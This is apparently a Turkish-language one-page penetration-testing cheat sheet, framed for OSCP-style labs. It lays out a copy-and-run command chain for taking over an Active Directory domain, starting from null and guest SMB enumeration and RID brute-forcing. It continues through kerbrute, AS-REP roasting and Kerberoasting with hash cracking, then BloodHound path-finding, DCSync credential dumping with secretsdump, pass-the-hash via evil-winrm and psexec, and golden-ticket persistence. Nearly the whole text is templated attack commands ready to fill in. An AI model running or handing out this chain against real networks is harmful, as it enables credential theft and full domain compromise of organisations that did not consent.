AD Hizli Komut Akis Sablonu: No-Creds -> User -> Domain Admin (Tek Sayfa)
Kopyala-calistir komut akisi: kimlik yokken (nxc null, enum4linux, kerbrute, GetNPUsers) -> kullanici elde edince (nxc dogrula, GetUserSPNs, bloodhound-python) -> Domain Admin'e (secretsdump DCSync, evil-winrm, golden ticket) giden minimum komut zinciri. Sira halinde, her satir bir TOKEN ile.
- Hedef ag ile baglanti
- DC_IP ve DOMAIN tespiti
- Senkronize saat (ntpdate) ve /etc/hosts'a eklenmis DC FQDN
Komutlar
nxc smb {{DC_IP}} -u '' -p '' --shares nxc smb {{DC_IP}} -u guest -p '' --rid-brute 10000 kerbrute userenum -d {{DOMAIN}} --dc {{DC_IP}} {{WORDLIST}} impacket-GetNPUsers {{DOMAIN}}/ -dc-ip {{DC_IP}} -usersfile users.txt -no-pass -format hashcat nxc smb {{DC_IP}} -u {{USER}} -p {{PASS}} impacket-GetUserSPNs {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{DC_IP}} -request -outputfile spns.hash bloodhound-python -d {{DOMAIN}} -u {{USER}} -p {{PASS}} -ns {{DC_IP}} -c All --zip impacket-secretsdump -just-dc {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}} evil-winrm -i {{RHOST}} -u {{USER}} -H {{NTHASH}} impacket-psexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}} Genel Bakis
Bu sayfa, ad-method’un kavramsal akisini kopyala-calistir komut zincirine indirger. Uc bant var: kimlik yokken (AKIS 1), bir kullanici elde edince (AKIS 2), Domain Admin’e ulasinca (AKIS 3). Her komut yalnizca degisken token’lar icerir; variable bar’da {{DC_IP}}, {{DOMAIN}}, {{USER}}, {{PASS}}, {{NTHASH}} doldurulunca tum akis kosturulebilir hale gelir.
Hizli Kurulum (her oturum basinda)
DC’yi /etc/hosts’a ekle ({{DC_IP}} {{DC_HOST}} {{DOMAIN}}), saati senkronla (sudo ntpdate {{DC_IP}}). Bu iki adim atlanirsa Kerberos araclari sessizce basarisiz olur.
AKIS 1 — No-Creds (kimlik yok)
Sira: nxc smb null/guest ile domain ve share -> --rid-brute ile kullanici adlari -> kerbrute userenum ile dogrulama -> GetNPUsers ile AS-REP Roast. Cikan hashleri hashcat -m 18200 ile crackleyip ilk kimligi uretirsin. Kimlik cikmazsa elde ettigin kullanici listesiyle password spray’e gec (bkz. ad-spray).
AKIS 2 — User (bir kimlik var)
Sira: nxc smb ile kimligi dogrula ((Pwn3d!) gorursen zaten local admin’sin) -> GetUserSPNs -request ile Kerberoast -> bloodhound-python -c All ile graf cikar. BloodHound’da foothold kullanicisini Mark as Owned isaretle ve Shortest Path to Domain Admins sorgusunu calistir; ekrandaki kenar (edge) sana hangi sayfaya gidecegini soyler (GenericAll -> ad-acl-abuse, CanPSRemote -> evil-winrm, AllowedToDelegate -> ad-deleg-constrained vb.).
AKIS 3 — Domain Admin (yetki yukseldi)
Replikasyon hakki/DA elde edince: secretsdump -just-dc ile DCSync -> her hash ile Pass-the-Hash (psexec -hashes :{{NTHASH}} veya evil-winrm -H {{NTHASH}}). krbtgt hashiyle Golden Ticket uretip persistence kurabilirsin (bkz. ad-tickets).
Notlar ve Tuzaklar
- Bir crack edilen parola hemen yeni bir spray adayidir; akislari iteratif kullan.
nxcciktisindaki(Pwn3d!)etiketi o kimligin hedef makinede local admin oldugunu gosterir — AKIS 2’den dogrudan AKIS 3’e atlatabilir.- NT hash’in
aad3b435...:31d6...formatinda LM:NT geldiginde impacket’e-hashes :{{NTHASH}}(LM bos) ver. - Tum bu komutlar OSCP-safe’tir; relay/poison adimlari bu cheatflow’a dahil degildir cunku interaktif ortam gerektirir.